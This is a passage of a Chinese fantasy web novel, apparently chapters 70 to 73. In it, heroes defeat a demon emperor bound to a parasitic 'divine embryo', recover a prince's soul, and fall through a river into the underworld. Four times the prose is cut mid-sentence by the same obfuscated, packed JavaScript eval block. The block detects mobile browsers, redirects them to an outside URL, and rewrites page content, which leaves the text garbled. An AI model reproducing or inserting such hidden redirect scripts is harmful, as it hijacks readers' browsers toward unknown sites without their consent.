“我倒要看看,你一个假妖君有什么能耐——!” 另一侧,两条金色巨龙打得血肉四溅。 鳞片颜色暗沉的巨龙背脊高高隆起,像脓包,又像肿瘤,一刻不停地蠕动着,好似被虫豸寄生。 元灼喷出金焰对上元君泽的雷霆,心一横,飞身上前撕咬隆起之处! “嗬——嗷——!” 非人的尖叫从隆起里传出,元灼怔愣间低头看去。 眼睛,密密麻麻的眼球隔着一层皮肉和他对视,满目血红。 “皇儿,你长大了。” 格外苍老的龙头凑了过来,吐气间不再是紫色雷霆,而是黑气。 “快和你的弟弟妹妹们打声招呼。” 老龙用头蹭了蹭那处差点被撕咬开的皮肤,神色慈悲,再度开口—— “你身为兄长,要知礼数。” 元灼目眦欲裂,龙爪化为利刃狠狠挥向龙脊! “你根本不是我父皇!你就是个怪物!” “扑哧”,那条口子开始被彻底划开了。 葡萄状的半透明眼珠涌出,粘连在一起垂在元君泽的龙身上,接触空气后又缓缓升起,越来越多,直到覆盖了半个天幕。 “啊啊啊主人你快看,那东西好恶心!”无相球憋不住了。 它附在玄衣剑上只是个提升防御力和攻击力的吉祥物,视野要比正在打架的姜洛玉宽阔得多。 姜洛玉接住乌桑一刀,分神看向身后。 恶心已经不足以形容他的感受了,那群诡异眼球上散发的威压更是让他头晕眼花。 这就是“神胎”? 乌桑也注意到飞在天上的眼睛,甚至还在挤挤挨挨的眼球里找到了几条血肉模糊的胎龙。 他“啐”了一口,力道稍减。 姜洛玉接收到乌桑的信号,也减了些力道:“你想做什么?” 乌桑:“明人不说暗话,我们再打下去,一会儿都得成为神胎降生的养料。” 姜洛玉:“神胎是那群眼睛?” 乌桑:“没错,不过它们目前处于刚破壳的状态,想要完全降世需要吸收大量灵力和血肉。” 说话间,眼球汇聚的墙壁缓缓分散下沉,附着在了历代妖皇的尸身上。 “神胎到底是什么?你和我谈这些,是跑不出去了想联手?”姜洛玉不敢松懈,时刻注意着乌桑的动向。 乌桑轻咳一声,率先收了血海冥河刀一跃而起,道:“不然呢?大人吩咐过不许杀你,我和你再这么不管不顾地打下去,都要被这叛主的神胎吃了。” “元君泽当初趁它们尚未发育就吞吃到了体内,已经同神胎密不可分。只有他死了,神胎失主,我们才能有一线生机。” 姜洛玉握着剑柄的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065937|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又紧了紧,道:“我不信你。” “我知道你不信我,我自然也不信你。”乌桑摆摆手,“天道契约总能信吧?杀了元君泽,我们再算别的。” 空中厮杀的两条巨龙身上的伤口越来越多,眼看着元灼落入下风,姜洛玉也不敢再拖,先发制人以血为笔写出天道契约。 乌桑扫了一眼内容,确认没有问题,才刺破指尖逼出精血。 半空,连片龙血洒了下去,纷纷扬扬成了金色的雨。 元灼的左眼已经半瞎了,朦朦胧胧几乎看不清元君泽攻来的方向。 龙角也被折断了一只,尾巴上的金鳞掉了不少,甚至露出了粉色的肉。 元君泽同样好不了多少,虽有神胎加身,但他对身体的控制力却大大下降,有时甚至感觉不到身体的存在。 神胎却固执地吸收金龙血肉不来助他。 他再度吼叫着扑向自己曾经精挑细选的继承人,五爪触碰到元灼龙身的鳞片,便不管不顾地狠抠下去。 “像你大哥他们一样,乖乖成为丹药不好吗?为什么非要反抗我?!” “嗷——!” 这一爪直抵龙筋。 元灼不甘示弱,龙头几乎扭了一圈,咬住了元君泽的腹部! 血肉与牙齿摩擦的咀嚼声里,元灼似乎看见了一道白光。 白光里……是比现在年轻得多的元君泽。 不是长相上的年轻,而是气质。 那时候他才刚破壳没几年。做为元君泽好不容易才盼来的第二个孩子,他甚至可以骑在元君泽的龙身上在妖都上空漫游。 还有他的母妃,那时候的他们三个,更像是寻常人家的父与子、妻与夫。 什么时候开始变了呢? 元灼想不起来了。 他没有松口,元君泽同样也没放手。 乳白色的龙筋破开皮肉一点一点被扯出…… “放手!” 刀光剑影一齐出现,元君泽不得不放开元灼后退数十丈,灵力急转,汇聚出雷霆喷射出去。 姜洛玉看准时机,扔出无相球——“七宝莲台!” 无相球飞出化为莲台挡住雷霆,顺嘴吃了几口,又难吃得吐了出去。 这老龙现在连的灵力都是臭的。 “仙气……”元君泽浑浊的龙眼转了转,“你到底是何来历?” 没人回答。 刀剑攻势近在咫尺,元君泽的呼唤终于得到回应,四散的神胎顷刻间附着在了龙身上。 玄衣剑和血海冥河刀的攻击,溃散了。 而那臃肿虬结的神胎,气势更强了几分。 元君泽闭上双眼,在神胎的反哺下修复自身损伤。 姜洛玉横眉怒目:“你死活也不说那神胎究竟是什么,也不提它的弱点。如今契约都签完了,还有什么不要好说的?你想死吗?” 乌桑拿着刀痛苦道:“其实……大人没说过神胎弱点。” 姜洛玉:“……” “本来神胎被大人分成了四块儿,是要埋在四大圣城受地底灵脉反哺才能诞生。”乌桑终于崩溃,神情绝望,“到时候神胎就能寄生四大圣城的城主,我们的计划也能更进一步。” “完了,都完了……大人出关就算不杀我泄愤,我以后的日子也不会好过……” 姜洛玉沉默地看着空中的“肉龙”。 这怎么杀? “命者……我有办法。” 71.穿越第七十一天 “你能有什么办法?”乌桑讽刺道,上下打量瞎了半只眼的元灼,“神胎可是大人亲手造出来的,你一个残废说什么大话。” 姜洛玉:“嘴长你身上怎么只会喷粪?” 乌桑气得脸通红:“你……” 雷声隆隆,他放下了抬起的手——天道契约不允许他们两个在妖皇死之前互殴。 姜洛玉又翻了个白眼,这才对着元灼笑了一下,接着蹙眉道:“太子殿下,你可不要冲动行事。” 这种突然冲上来说自己有办法的人,按照套路,大多数“办法”都和“牺牲”自己脱不了关系。 元灼摇头,轻笑道:“我已经想好了。” 仅剩的那只金瞳里光华流转,十分晃眼,太子元灼和风华街“玦公子”的身影逐渐重叠。 姜洛玉这才发现,两个身份的元灼,都有一双沉静且透着隐隐悲伤的眼睛。 “我吞吃过整整两千条胎龙。”他说,“命者,你知道红尘剑道的精妙之处吗?” 姜洛玉喉咙发紧,发不出声,只得摇头。 “红尘剑法每一剑挥出带着的热气,都能将对手扯进一个热闹、纷杂、鲜活的尘世。” 元灼咳了咳:“这些年里,我在妖界换了一个又一个身份,有时还会去下界渡劫,最终开发出红尘剑道另外的能力。” “只要我的剑能刺进活物的身体,只要对方身上沾染了尘世因果,就能让他……业障反噬。” 人活于世,或多或少都会沾染业障,它无形无相,却又时刻束缚着世上的生灵。 同样,当这无形的业障开始彰显存在感,带来的反噬就连九天之上的仙帝也吃不消。 若论业障多少,这里面,当仁不让必属妖皇。 毕竟食子续命的业障,可不能同别的相提并论。 “妖皇如今被神胎所裹,你有东西能刺入妖皇体内吗?再者就算业障反噬,又关神胎什么事。”乌桑继续不屑道。 他对大人的造物还是很有信心的。 “那你自己等死吧,用不用我替你挖坟?”姜洛玉同样摆出嘲讽脸,和乌桑的表情几乎一模一样。 乌桑:“……” 神胎散发出来的诡异红光照射在三人脸上,一时沉默无言。 元灼沉默的时间不长,没等乌桑黑着脸追问,轻声道:“人剑合一。” “他只要吃了我,我就能在他体内引动业障噬主。” 姜洛玉:“不可——” “命者不必担心。父、妖皇想要的一直都是我这身修为和血肉,至于魂魄什么的……反倒是累赘。”元灼的金眸明灭。 “只要您能在杀了妖皇后找到我被禁锢的魂魄,唤醒我,我就不会死。” “我那半颗朱鸟之心蕴含着一丝凤凰真血,是我母妃传给我的。它会保佑我重回世间。” “境主,他说的都是真的。” 浮白的声音突兀响起,姜洛玉摸了把头上的玉簪,心中一喜,道:“浮白,大家怎么样?都醒了么?” 重建三清秘境之后它就继承了无相球的特质,能够随意变幻外形。 如今他头上的白玉流云簪就是三清秘境所化。 “境主放心,我们都没事。”浮白答道,“各个区域的守卫都在安置天材地宝。我们暂时出不去,境主您一切小心。” 姜洛玉点头道:“好。” 这一个“好”字,既是回答浮白,也是回答元灼。 乌桑抱臂“哼”了一声,不发表任何意见。 他就不信这条半残的龙能杀了元君泽。如今神胎早就和元君泽紧紧相连,死一个治标不治本。 “噗通、噗通。” 元君泽听见了心脏强劲的跳动。可那声音重重叠叠,像筑巢的虫蚁,让他意识到自己现在只不过是个寄生怪物的壳。 “父皇……您想长生吗?” 他怎么不想?他求的……一直都是长生啊。 没什么比死亡更可怕的事了。 元君泽费力掀起一点眼皮,却什么也没看见。 同他血脉相连的气息近在咫尺,他知道有诈,可身上的神胎混杂了胎龙,它们并不排斥“兄弟”毫无杀意的靠近。 融合神胎。最后剩下的究竟是神胎、还是他? 元君泽发现自己小瞧了神胎。他将它们当作宠物、器物看待、喂养,却不曾想,他在它们眼里,也只是个容器。 他无法张嘴……但能清楚地感觉到,又有什么东西融进了他的身体。 “噗——” 火红长剑贯穿了巨龙的躯体,刚刚钻出神胎,又被拽了回去。 已经分辨不出头尾的巨龙疯狂蠕动着,发出嘶哑的气声,最后跌落在沼泽。 姜洛玉脚踩七宝莲台,随时准备冲上去。 没等他动作,巨龙身上冒出缕缕黑气。 那上面煞气的浓度甚至比乌桑的血海冥河刀还要深重! “嘶……” 结界晚开了一瞬,姜洛玉裸露在外的皮肤就被黑气腐蚀出大小不一的伤口。 好在他如今修为够高,伤口不多时便恢复如初。 “啊我知道了,神胎是……”乌桑在黑气里苦苦支撑,套了几层魔气都没什么用,眼看着就要露出骨架。 姜洛玉看得又取出三清秘境众仙神闲来无事炼制的法宝,一股脑儿罩在了七宝莲台之外。 “神胎就是业障。” 滔天业障。 黑气变成了熊熊黑焰,燃烧的形状汇聚成千万人形。它们挣扎、嘶吼,震起了窜天火浪。 “从哪找的这么多业障……”姜洛玉喃喃自语着,见结界晃动,又心虚地放了几个法宝。 掀开七宝莲台的能源储备室,换上新一批天才地宝,这才放心地等着业障反噬完毕。 红尘剑道燃起的火烧了整整将近一年。 火焰由黑转红,由大转小。 姜洛玉和乌桑井水不犯河水。那鼻孔朝天的魔君在逸散黑气的侵蚀下,硬生生一遍又一遍修补只剩骨架的身体,看得姜洛玉牙都泛酸。 他也从最初的焦急变成无奈,眼看着离灵标消失还有四天不到,只能祈祷着这火能在灵标消失前烧完。 在此之前,他本以为留下来报仇,杀了元君泽会是场鏖战。再不济自己也得小死一回,却不想,最后竟成了一场弑父杀子的戏码。 这让他想到了虚无缥缈的命格。 如今孽因何起,又因何而落。 元君泽堪不破的寿命成了杀死他的利器,显化的罪孽伴随着火焰烧了个干净。 最后一丝火苗熄灭,“哗啦哗啦”的灵雨再度坠落。 姜洛玉伸出手,穿过结界接住了雨丝——那自己呢? 他的结局又会是什么? 无相球把握住时机,赶在乌桑动作前,先一步冲向龙骨所在! “元灼,该醒了。” 修长莹润的手指穿过金龙留下的骨架,触碰到了里面漂浮着的龙魂。 元灼肉身被炼化后,魂魄缩成了拳头大小的球体,颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073568|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色淡蓝。 龙魂动了动,但是没有睁眼。 姜洛玉:“……” 也算是醒了。 他直接捏起龙魂的尾巴,丢到了七宝莲台上。无相球模拟出来的蓬勃生机滋养着元灼受损的神魂。 “呃嗬——!” 无相球抖了抖,听见乌桑白骨坐化的位置传来异响,大叫:“啊啊啊那个变态又要复活了!主人我们快跑!!!” 乌桑骂了几声,继续吸收着天地间的灵气转化为魔气修补肉身。 神胎布下的结界早在妖皇死后烟消云散,七宝莲台又有移速加持,几乎眨眼间就飞离了圣地。 “去太子府!”姜洛玉指挥着,“接上阿雪和辰欢就去往生河!” 再不去就来不及了! 说完捂着胸口开始剧烈干咳,周身气势下降,竟然是从妖君修为跌到了渡劫巅峰。 单靠元灼当然烧不死神胎,他背着乌桑,把复活龙神的功德给了他。 待到妖皇和神胎彻底死去,他这身假妖君的修为自然也就没了。 无相球一时间像是无头苍蝇,“啊”了好几下。 “我我我、我不知道太子府在哪儿……神君怎么也上来了,辰欢又是谁啊?” 姜洛玉无奈扶额,憋着一口气开始驾驶七宝莲台。 太子府。 丛明雪睁开了双眼。 自从姜洛玉进了无尽宝库,他和那点豆大的三魂七魄就失了联系。 分身只是思考的时间要长一些,又不是真傻,知道这是无尽宝库的问题。 但他很担心。可他神魂不全,去了也只能给姜洛玉拖后腿。 辰欢龙头一歪,发现丛明雪醒了,从他的头顶飞下去,奶声奶气道:“你又在想玉玉。” 说完有些受不了自己过于稚气的童声,沮丧地又飞了回去。 “我也想他呜呜呜……” “别哭。”丛明雪吐出两个字,揉了揉小金龙的脑袋权当安慰。 “龙神!” 喧哗声从外界传来,一人一龙同时看向被强行破开的大门。 “妖皇勾结魔族铁证如山,如今在圣地走火入魔,太子殿下生死未卜!”玄安推开门,愣在了原地。 地上站着的龙神看起来……比开宝宴上更年轻了。 从七岁变成了三岁。 玄安哑火了。 只有虚弱到极致的时候,妖的人形才会变成幼崽的模样。 龙神比刚诞生的时候更虚弱了吗?那到底还有谁能进去救太子他们? 其他金龙的话……六皇子那副身体眼看着就要不行了,九皇子又没醒,其他金龙贵族—— “哗啦——” 客房被撞碎了一地木屑,玄安看见了天空。 “阿雪!你们两个快上来,有魔族追杀!” 姜洛玉注意到愣在原地的玄安,将元灼的魂魄抛了过去,快速道:“妖皇已死,魔族阴谋已破,太子虽身死但魂魄还在。” “切记要先为太子重塑肉身,他手里有被魔族控制的妖族名单。我先走一步——” “这妖都里妖君甚多,四大圣城的人就在门外,联起手来还杀不得那魔族?” 丛明雪还未开口,连人带龙就被姜洛玉扯到莲台坐下。 辰欢满脸懵懂,有些摸不清现状。 姜洛玉操控莲台远去,霎时间只留下话语被风拖长的尾声:“来不及解释了,后会有期!” 再晚点动身,他们真回不去下界了! 72.穿越第七十二天 凛冽寒风呼啸而过,打在七宝莲台的防御罩上“噼啪”作响,像是爆竹声。 辰欢看着漫天星子,飞到姜洛玉头顶拍了拍:“什么来不及,你要去哪儿?你不是才进了无尽宝库一个月吗?” 姜洛玉:“啊???” 他不是在里面待了一年吗? 丛明雪点了点头,肯定道:“一个月。” 姜洛玉懵了,抓着头顶三清秘境变成的发簪,一头雾水。 三清秘境重建后需要全面封闭沉淀一些日子,现在浮白他们已经听不见他说话了,向他们求证行不通。 不过他用了一个月的时间重建三清秘境是不假,但红尘剑道的火分明烧了将近一年…… 他无聊在石头上刻下的“正”字还在龙冢摆着。 所以,到底是什么情况? “玉玉,你进了什么特殊空间吗?” 空间。 神胎的结界。 姜洛玉严肃的表情碎了一地,神情恍惚地回头看向越变越小的妖都,还有身后紧追不舍的魔气。 只剩下一个解释了——神胎业障化成的结界自成一方天地,改变了时间流速。让他和乌桑看似被困一年,实际上外界才过了……可能连一刻钟都不到。 “这次真的来不及了。”他躺倒在丛明雪的大腿上,表情略显痛苦。 “后有追兵,又无援手。” 泄气几瞬,姜洛玉“腾”得一下站起,把能源储备室里塞得满满的都是天材地宝。 最后拿出从龙冢顺来的金龙肋骨,蘸取金龙鲜血,行云流水般画出数道加速符咒拍到七宝莲台上,道:“无相,撤去防御功能全面加速,我们得快些去往生河。” “上界的高级魔族不做准备去不了下界,更别提乌桑还是个魔君。” 无相球化作一道流光:“遵命,主人!” 往生河在菩提城东南边,连接那处的虚无天堑。 通常情况下,妖君修为的妖修从妖都赶到菩提城,最快要花上三天三夜的时间。 虽然姜洛玉如今修为在渡劫巅峰,但七宝莲台很好的弥补了这一缺点。再加上加速符咒的效果,三人两天就能赶到往生河。 姜洛玉画符的手一刻不停,黑眸幽深。 前提是……他们不会被乌桑追上。 丛明雪不动声色地转过去,对上紧追不舍的那片黑雾。 思考片刻,他抬起了手。 辰欢趴在姜洛玉头顶,眼睛晶亮:“……雪雪你在干什么?” 丛明雪:“破、天。” 精纯的剑气从指缝间流淌而出,化为长龙冲向向黑雾所在之处。 “轰——” 黑雾霎时消散,又瞬间聚拢。 “啊啊啊——一个魂魄不全的贱畜怎么能伤到我?!!”乌桑抓狂地不得不减缓速度,眼睁睁看着七宝莲台在眼前失去踪影。 “阿雪!” 姜洛玉一惊,立马接住脱力向后倒下的丛明雪。 丛明雪张开嘴—— “别说话,快吃这个!” 姜洛玉掏出不死树的树籽塞进丛明雪嘴里,这东西只要不是尸体都能救回来。 丛明雪:“……” 拇指大小的树籽化作暖流蕴养着肉身和神魂,眼看着姜洛玉又要掏出别的天材地宝喂给他,丛明雪直接撑着莲台坐起,捏着他的下巴亲了一下。 “我没事。”他说,“刚才那招,这具分身,只能用两次。” “在那之前的损伤,可以忽视。” 姜洛玉这才放心下来,不敢耽搁,继续画符。 要说妖君和魔君哪个实力更强,自然是魔君略胜一筹。魔界同妖界不一样,妖界凡是修为达到妖君的,全都能被称为“君”。 而魔界,只有通过对应的试炼,又打赢了竞争对手的魔族才能冠上“魔君”之名,成为魔尊的得力下属。 两者的可比性不强。真正能和魔界魔君对上的,还要是妖界十二城池的城主。 若非此番乌桑在龙冢“死死活活”太多次,消耗了体内魔核实力,丛明雪这一剑能否伤到他就成了未知数。 不过姜洛玉担忧乌桑还有后手,当务之急还是得去往生河。途径那些城池带着龙神进去求助也是一条可行的路子,但…… “境主,这是偷天换日树心。一共有三个,配合对应的法决炼化后能用它随机传送。若是有东西做引,还能传送到您想去的地方。” 阿木托送树心时的样子历历在目,姜洛玉一把摸上手上的芥子。 他们要去的是往生河,妖界……阴气最重的地方。 丛明雪察觉到了一股灼热的视线。 他慢吞吞看向视线源头,手被人一把拉住。 怎么取阴气涉及到了姜洛玉的知识盲区,他满脸期待,道:“阿雪,你能给我一点阴气吗?会不会对你的身体有影响?” 丛明雪:“……?” 三言两语解释完在无尽宝库发生的事,还有那树心的神奇功效,丛明雪点头。 众人停在一片山林上空。 一分钟后,姜洛玉晃了晃玉佩里实体化的阴气,扒着丛明雪几乎变成黑色的眼睛看了两眼。 经过丛明雪科普,他才知道鬼修身上除了金丹和元婴,阴气最重的要数眼泪。 但丛明雪如今的状态并非是鬼修,要让阴气脱离身体外显,只能从眼泪里提取阴气。 “阴气原来还能这么取出来……”他喃喃自语着,自己也挤出来两滴鳄鱼泪,擦在瓶口不小心溅到的阴气上。 “阿雪,你这眼睛何时能恢复正常?” “滋啦”的水汽蒸发声不绝于耳,阴阳二气相互纠缠,最后双双归西。 丛明雪揉了揉眼睛,黑色的部分又扩散不少,慢慢道:“半天。” 等到瓶中阴气稳定,姜洛玉二话不说拿出偷天换日树心,放在了七宝莲台正中央。 辰欢好奇地用爪子碰了两下和人头一样大的黑色泥球,怀疑道:“这东西真能传送?不会是那条鱼在无尽宝库被关傻了吧。” “说什么呢?”姜洛玉敲了敲辰欢的脑袋,“你认识阿木托?” 辰欢:“我记得……我之前去三清秘境的湖里游泳时,经常看见那条蓝尾巴鱼在睡觉。” 七宝莲台升起了防御结界。 姜洛玉刺破指尖逼出几滴精血,脸色白了不少。 血珠滴在树心上,它便如鸡蛋般剥开了泥泞的外壳,露出洁白柔软的内里。 伴随着古老空灵的吟唱,比月光更加皎洁的树心缓缓升起。 阴气被送到了树心下方,如溪流入海被树心的光芒吸收。 “……偷天换日,移形换影!” 最后一字落下,树心陡然化作光门飞到一尺开外。 “快走!”姜洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079133|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉神色一喜。 “别走了。” 黑雾猛地出现在光门前。 乌桑抛了抛手里的长刀,面目狰狞:“和我去见大人吧。” “咚——” 乌桑惨叫一声,被全速前进的七宝莲台连魔带刀一并撞了进去。 菩提城,往生河畔。 莲心天月菩提巍然不动,呈现顶天立地之势。树干漆黑,树叶银白,树根裸露在外,一直插进往生河源头后方的红壤里。 枝干向上蜿蜒盘旋,每一片树叶的脉络里都流转着细碎金光,树冠绵延几千里与天空相接。 风过树梢,甚至能听见树籽撞击产生的闷响。 “啊嚏——”守在树下的妖君打了个喷嚏。 他的搭档嗤笑一声,调笑他莫不是又在被人骂了。说完弹指击退几个拽着树根向爬上来的怨魂。 其实不用他出手的。 “咕咚——” 菩提树籽砸进了往生河暗沉的红色河水里,也砸进去了怨魂。树与河之间薄薄的结界如水波荡漾。 往生河之所以带了个“往生”,说的是一旦有活人挨上它的河水,就会去往六界之外、轮回之中的冥界。 冥界能喘气的东西里,非是鬼修不得入内,就算是鬼修,进去了想再出来,通常也只能靠投胎。 “你快看那边!” 搭档大惊小怪地抬头,对上凭空出现的光门。 “有、有东西掉下来了!” 几乎无法抗拒的拉力让乌桑一坠再坠,被往生河的血煞之气熏得几乎要晕厥过去,骂了一声:“狗日的……” 汤汤河水流向漆黑无光的天堑,万千怨魂惨叫逆行而上,鬼哭风嚎如雷贯耳。 “你想死啊!我*%#……”乌桑边骂边用血海冥河刀斩落飞扑到他身上的怨魂,顶着几乎要将他压碎的重力堪堪浮在河面,朝着莲心天月菩提的树根挪去。 丛明雪抱着姜洛玉跌落进血红的河水,还未开口询问姜洛玉有没有什么地方不舒服,就被怀里的人推了推。 姜洛玉探出脑袋,笑嘻嘻道:“乌桑!” 乌桑条件反射地回头看去。 “替我向你家大人问好——问问他怎么还没死!” “你!”乌桑怒不可遏,反手朝两人打出一道魔气。 再看去,两道白影如鱼入水,被不可计数的怨魂裹挟着向前。 乌桑:“……?” 啊啊啊啊完了!大人要的是活的,进冥界可就变成死人了…… 又击落几个怨魂后,乌桑释怀了——还是先保住自己的小命比较重要。 往生河底,姜洛玉死死抱着丛明雪不撒手,辰欢因为祈福消耗太多还没缓过来,也早被他塞进了三清秘境。 两人隔开河水。分身冷静地念出引动灵标的法术,难得地飞速掐诀。 “境主、境主!” 姜洛玉恍惚间听见了红楹的呼唤。 “玉儿!” 还有他娘。 姜洛玉把眼睛睁开一丝缝隙,看见自己和丛明雪的身体正在逐渐化为虚影。 法术生效了。 不对,他的手怎么又凝实了?! 身后被人猛地抱住,姜洛玉吓了一跳,回头对上了一双葱绿色的眸子。 “阿雪?!” 他再次转头,结果分身在他身前……投来了疑惑的眼神。 73.穿越第七十三天 前后夹击下,姜洛玉的大脑成功死机。 “你……” 一句话没说出完,他就被后面的丛明雪捂住了嘴。 姜洛玉:“……?” 分身褪去一半墨色的眼睛眨了眨,凑上来,在他额头轻轻落下一吻。 姜洛玉:“……你?!” 血色河水里,分身毫无预兆地四散开来,化为流萤飞进了本体。 丛明雪叹息一声,掐着姜洛玉的下巴吻了上去。 熟悉的气息包裹住全身,又失去了阴冷的感觉。姜洛玉闭上眼,紧绷的神经终于放松些许,可一想起自己还在往生河里,周围环绕着千万怨魂,不禁尴尬地脚趾抓地。 好在这个吻没有持续多久,丛明雪松开人,又一把抱在怀里。 姜洛玉这才有机会喘息,脸红得吓人,下唇的红痣更是要滴血。见周围的怨魂自顾自地逆行而上没有看过来,才意识到丛明雪开了结界。 “你……你本体怎么跑来了?”他拍了拍丛明雪的后背,已经猜到了答案。 丛明雪闻言松了力道,轻声说:“出了点意外,法术失败了。” 修真界,西北部三清秘境。 “白三水!!!” “别冲动啊!”白三水在阴阳殿里抱头乱窜,身后追着化成火凤原形的红楹,一个不留神,头发就被烧掉了一簇。 那伽也紧随其后化为金龙,快狠准地缠住了白三水。 “你不是说这方法万无一失吗?人呢,怎么连药辛的本体都消失不见了?” 白三水半个身子都罩在光里,气若游丝道:“我也不知道……” “不过我敢对天发誓,我给的法术绝对没问题!” 那伽也知道没问题,冷静稍许又道:“你不是白泽吗?你快动脑想想啊!” “我是白泽我又不是蛔虫!”白三水忿忿道,抓着那伽的龙身啃了一口,咬下来几片龙鳞。 那伽:“……?” “够了。”离昼冷声道,两下打过去,红楹和那伽脑袋上都多了一个包。 三人这才偃旗息鼓,排排蹲坐在地上等待离昼发话。 就在刚才,他们看到灵标异动,连忙让本体坐上法阵,好接引到了往生河的姜洛玉和分身。 结果本体坐上去没多久,灵标和法阵就爆发出刺目的血光。 等到光线消失,本体也无影无踪。 “究竟是怎么回事?明明灵标都动了,我都看到玉儿的虚影了。”迦南月急得不行,狠狠跺了跺脚,当机立断逼出精血徒手化了寻人法阵。 法阵上的箭头转了好几圈,最后委屈地缩成了球。 离昼阴冷的蛇眸看着那颗圆球,从丹田取出了本命法宝——六爻钱。 三枚铜钱晶莹剔透,半黑半白,阴阳之气生生不息。 离昼将铜钱放在掌心,双手合十,摇了摇。如此反复六次,一个完整的卦象悬浮在了大殿中央。 吉凶参半。 “殿主!” 三男一女互相搀扶着来到阴阳殿,浑身阴气森森,模样要多凄惨有多凄惨。 垢姬吃了一惊,连忙上前扶起兰溪:“你们不是在转修吗?怎会……你们怎么转修成功了?” 她再度观察了面前的四个残魂,确认他们虽然鬼相凄惨,但修为凝实,已是鬼修之身。 可转修鬼道明明需要五百年! 兰溪面色惨白,唇色如血,强压下转修后的不适,道:“殿主,刚才有道黑影去了万毒殿。他找到我们说……我们转修路子不对,祝了我们一臂之力。” “他还说,殿主当年做出来的毒很有用,帮他解决了万鬼夜行的难事。” 垢姬不自觉加大了扶着兰溪的力道,不可置信道:“冥主?!他怎么能出冥界了?他还说什么了?” 兰溪默默扒开垢姬的手。 “他还说——‘有朋自远方来,不亦乐乎。’” 像是为了印证什么,血色法阵上“无中生有”地飘起一缕极度寒冷的阴气。 —— 姜洛玉觉得自己现在不是在河里,而是钻进了滚筒洗衣机。 这让他罕见的想起穿越前他二哥养的哈士奇。那只哈士奇的品种异常纯正,几个月大的时候就会扒开洗衣机的门,钻进去像仓鼠滚轮一样奔跑。 方才丛明雪承认法术失效的时候,他其实没什么想法。 无非是目的地从修真界变成了冥界。死就死吧,反正先死的是肉身,到了冥界再想办法重返修真界。 更何况丛明雪的本体也不知是何缘故被拉了过来,姜洛玉相信以他们两个的气运加在一起,一定能化险为夷。 不能的话……咳咳,就当他没想过。 时间一分一秒过去,两人随波逐流一直到了天堑旁。 一线之隔,便是阴阳两界。 “抱紧我。”丛明雪确认手腕上连接两人的春蚕丝没有问题,紧紧搂住了姜洛玉。 姜洛玉听话地回抱,默数三下。 一、二、三。 耳边的怨魂嘶吼消失了,天旋地转。 冥界,往生桥,鬼声鼎沸。 白骨搭建的桥身颤颤巍巍,似乎马上就要撑不住东行的鬼魂。河岸两侧种着垂柳,隔了一丈的距离便是一棵,其上阴气森森,连叶子都是萎靡的黄绿色。 往生桥作为万鬼城最具代表性的建筑,它不仅是一条“投胎”路,下面的往生河水,更是怨魂们进入冥界的入口。 往生河水只是个泛称,任何能流进冥界的水,乃至于冥界里的河,都叫“往生河”。 而这往生桥下的往生河,连接的是妖界,那里面都是妖界枉死的怨魂,要让他们恢复理智,得用上些特殊手段。 柳树间站满了手持抄网的兵鬼,他们一边打捞着河中刚入冥界的怨魂,一边高声询问。 “可要投胎?” 狰狞的怨魂在听见这铿锵有力的询问后,大多数都会恢复正常的状态,而非惨死鬼相。 若是想要投胎,兵鬼便直接将他们扔到桥东岸,去鬼官处录名排队走上投胎之路,若是还没想好,那就扔到桥西的鬼城里慢慢想。 “哗啦——” 姜洛玉被一阵大力从水底捞出,满脸血水。睁开眼对上了一张缝合后的、男人的脸——针脚粗糙,脸皮凹凸不平。 更别提那上面连五官的顺序都是打乱的,眼角还在渗出血泪。 鬼修? 老皮捞鬼的手一顿,险些没被新捞上来的小鬼坠下去,狐疑道:“可要投胎?” 姜洛玉抓了把身上的网,喃喃道:“我……” 破水声音从身侧传出,他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083516|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭头,果然看见了丛明雪。 丛明雪下意识扯了扯春蚕丝,没断,但是…… 老皮眼皮抖了抖,他还没捞下一个,这小鬼又是怎么上来的? “可要投胎?” 老皮再度发问。 两人都没有答话鬼修的话,而是冷静下来开始观察周围景象。 他们正站在足有三丈宽的往生河水里,左侧是一座长长的白骨石桥。 